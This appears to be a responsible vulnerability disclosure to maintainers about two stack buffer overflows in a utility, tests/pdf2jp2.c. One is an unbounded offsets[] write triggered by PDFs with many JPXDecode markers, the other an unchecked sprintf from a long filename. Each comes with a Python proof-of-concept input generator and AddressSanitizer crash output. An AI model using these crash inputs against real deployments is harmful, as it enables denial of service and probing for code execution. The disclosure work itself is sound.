Hi team,
I found two stack buffer overflow vulnerabilities in tests/pdf2jp2.c. Both can be triggered by malicious input and detected by AddressSanitizer.
Summary
| Vulnerability |
Location |
Type |
Severity |
| offsets[] array overflow |
pdf2jp2.c:88 |
Stack Buffer Overflow |
High |
| sprintf() overflow |
pdf2jp2.c:121 |
Stack Buffer Overflow |
High |
Vulnerability 1: offsets[] Array Overflow
Description
The offsets[NUMJP2] array has a fixed size of 32 elements, but there is no bounds checking when writing to it. If a PDF file contains more than 32 "JPXDecode" markers, the program will write beyond the array boundary, causing a stack buffer overflow.
Vulnerable Code
#define NUMJP2 32
long offsets[NUMJP2]; // line 55
// ...
if( ret )
{
// No bounds check for 'c' before writing!
offsets[c++] = (ptrdiff_t)cpos - (ptrdiff_t)hlen + diff; // line 88
}
PoC
#!/usr/bin/env python3
"""
PoC for offsets[] array overflow in pdf2jp2.c:88
Triggers stack buffer overflow when PDF contains >32 JPXDecode markers
"""
import os
def generate_malicious_pdf(output_path, num_jpxdecode=64):
content = b"%PDF-1.4\n"
# Each JPXDecode must be spaced >4096 bytes apart (BUFLEN)
# to ensure each one is found in a separate fread() call
padding_size = 4100
for i in range(num_jpxdecode):
obj = f"{i+1} 0 obj\n<</Filter/JPXDecode]/Length 10/Width 100/Height 100>>\nstream\nAAAAAAAA\nendstream\nendobj\n"
obj_bytes = obj.encode()
padding = b"%" + b"X" * (padding_size - len(obj_bytes) - 2) + b"\n"
content += obj_bytes + padding
content += b"\nxref\n0 1\n0000000000 65535 f \ntrailer\n<</Size 1>>\nstartxref\n0\n%%EOF\n"
with open(output_path, 'wb') as f:
f.write(content)
print(f"[+] Generated malicious PDF with {num_jpxdecode} JPXDecode markers")
print(f"[+] File size: {os.path.getsize(output_path)} bytes")
if __name__ == "__main__":
generate_malicious_pdf("poc_offsets_overflow.pdf", 64)
Crash Output (ASAN)
$ gcc -fsanitize=address -g -O0 tests/pdf2jp2.c -o pdf2jp2_asan
$ python3 poc.py
$ ./pdf2jp2_asan poc_offsets_overflow.pdf
=================================================================
==3316415==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcef46c580 at pc 0x5e42f4b7a8d6 bp 0x7ffcef46c390 sp 0x7ffcef46c380
WRITE of size 8 at 0x7ffcef46c580 thread T0
#0 0x5e42f4b7a8d5 in main tests/pdf2jp2.c:88
#1 0x7839a0a29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x7839a0a29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#3 0x5e42f4b7a444 in _start (/path/to/pdf2jp2_asan+0x2444)
Address 0x7ffcef46c580 is located in stack of thread T0 at offset 320 in frame
#0 0x5e42f4b7a518 in main tests/pdf2jp2.c:52
This frame has 7 object(s):
[48, 52) 'len' (line 98)
[64, 320) 'offsets' (line 55) <== Memory access at offset 320 overflows this variable
[384, 392) 'needle2' (line 112)
[416, 426) 'needle' (line 62)
[448, 960) 'buffer' (line 56)
[1024, 1536) 'jp2fn' (line 120)
[1600, 5696) 'haystack' (line 61)
SUMMARY: AddressSanitizer: stack-buffer-overflow tests/pdf2jp2.c:88 in main
==3316415==ABORTING
Root Cause
The loop that searches for "JPXDecode" markers has no upper bound check on the counter c. When more than 32 markers are found, offsets[c++] writes past the end of the 32-element array, corrupting adjacent stack variables.
Vulnerability 2: sprintf() Buffer Overflow
Description
The sprintf() call at line 121 writes to a fixed-size buffer jp2fn[512], but the filename comes from command-line argument argv[1] with no length validation. If the filename exceeds ~500 bytes, the buffer overflows.
Vulnerable Code
char jp2fn[512]; // line 120
sprintf( jp2fn, "%s.%d.jp2", filename, i ); // line 121 - No length check!
PoC
#!/usr/bin/env python3
"""
PoC for sprintf() buffer overflow in pdf2jp2.c:121
Triggers stack buffer overflow with long filename (>500 bytes)
"""
import os
def create_poc(base_dir):
# Create deeply nested directories to achieve path length > 512 bytes
nested_dir = os.path.join(base_dir, "nested")
os.makedirs(nested_dir, exist_ok=True)
current_path = nested_dir
dir_name = "A" * 50
# Build path until it exceeds 500 bytes
while len(current_path) < 500:
current_path = os.path.join(current_path, dir_name)
os.makedirs(current_path, exist_ok=True)
# Create a valid PDF with JPXDecode
pdf_content = b"""%PDF-1.4
1 0 obj
<</Type/XObject/Subtype/Image/Filter/JPXDecode]/Length 10/Width 100/Height 100>>
stream
AAAAAAAAAA
endstream
endobj
xref
0 1
0000000000 65535 f
trailer
<</Size 1>>
startxref
0
%%EOF
"""
pdf_path = os.path.join(current_path, "poc.pdf")
with open(pdf_path, 'wb') as f:
f.write(pdf_content)
print(f"[+] Created PDF with path length: {len(pdf_path)} bytes")
print(f"[+] Path: {pdf_path}")
return pdf_path
if __name__ == "__main__":
create_poc(".")
Crash Output (ASAN)
$ ./pdf2jp2_asan '/path/to/nested/AAA.../AAA.../poc.pdf'
=================================================================
==3314050==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7edf56400600 at pc 0x7edf5985f04f bp 0x7ffff3b47600 sp 0x7ffff3b46d90
WRITE of size 515 at 0x7edf56400600 thread T0
#0 0x7edf5985f04e in __interceptor_vsprintf sanitizer_common_interceptors.inc:1687
#1 0x7edf5985f27e in __interceptor_sprintf sanitizer_common_interceptors.inc:1730
#2 0x5e8bb7961cde in main tests/pdf2jp2.c:121
#3 0x7edf59429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7edf59429e3f in __libc_start_main_impl ../csu/libc-start.c:392
#5 0x5e8bb7961444 in _start (/path/to/pdf2jp2_asan+0x2444)
Address 0x7edf56400600 is located in stack of thread T0 at offset 1536 in frame
#0 0x5e8bb7961518 in main tests/pdf2jp2.c:52
This frame has 7 object(s):
[48, 52) 'len' (line 98)
[64, 320) 'offsets' (line 55)
[384, 392) 'needle2' (line 112)
[416, 426) 'needle' (line 62)
[448, 960) 'buffer' (line 56)
[1024, 1536) 'jp2fn' (line 120) <== Memory access at offset 1536 overflows this variable
[1600, 5696) 'haystack' (line 61)
SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_sprintf
Root Cause
The sprintf() function does not perform bounds checking. When the combined length of filename + ".%d.jp2" exceeds 512 bytes, it writes past the end of jp2fn, corrupting adjacent stack memory.
Environment
- OS: Linux (Ubuntu)
- Compiler: GCC with AddressSanitizer
- Compile flags:
-fsanitize=address -fno-omit-frame-pointer -g -O0
Impact
Both vulnerabilities allow stack buffer overflow which could potentially lead to:
- Denial of Service (crash)
- Arbitrary code execution (if exploited)
While pdf2jp2.c appears to be a test/utility tool rather than a core library component, these vulnerabilities could still pose security risks if the tool is used to process untrusted PDF files.
Let me know if you need any additional information!
Hi team,
I found two stack buffer overflow vulnerabilities in
tests/pdf2jp2.c. Both can be triggered by malicious input and detected by AddressSanitizer.Summary
Vulnerability 1: offsets[] Array Overflow
Description
The
offsets[NUMJP2]array has a fixed size of 32 elements, but there is no bounds checking when writing to it. If a PDF file contains more than 32 "JPXDecode" markers, the program will write beyond the array boundary, causing a stack buffer overflow.Vulnerable Code
PoC
Crash Output (ASAN)
Root Cause
The loop that searches for "JPXDecode" markers has no upper bound check on the counter
c. When more than 32 markers are found,offsets[c++]writes past the end of the 32-element array, corrupting adjacent stack variables.Vulnerability 2: sprintf() Buffer Overflow
Description
The
sprintf()call at line 121 writes to a fixed-size bufferjp2fn[512], but thefilenamecomes from command-line argumentargv[1]with no length validation. If the filename exceeds ~500 bytes, the buffer overflows.Vulnerable Code
PoC
Crash Output (ASAN)
Root Cause
The
sprintf()function does not perform bounds checking. When the combined length offilename + ".%d.jp2"exceeds 512 bytes, it writes past the end ofjp2fn, corrupting adjacent stack memory.Environment
-fsanitize=address -fno-omit-frame-pointer -g -O0Impact
Both vulnerabilities allow stack buffer overflow which could potentially lead to:
While
pdf2jp2.cappears to be a test/utility tool rather than a core library component, these vulnerabilities could still pose security risks if the tool is used to process untrusted PDF files.Let me know if you need any additional information!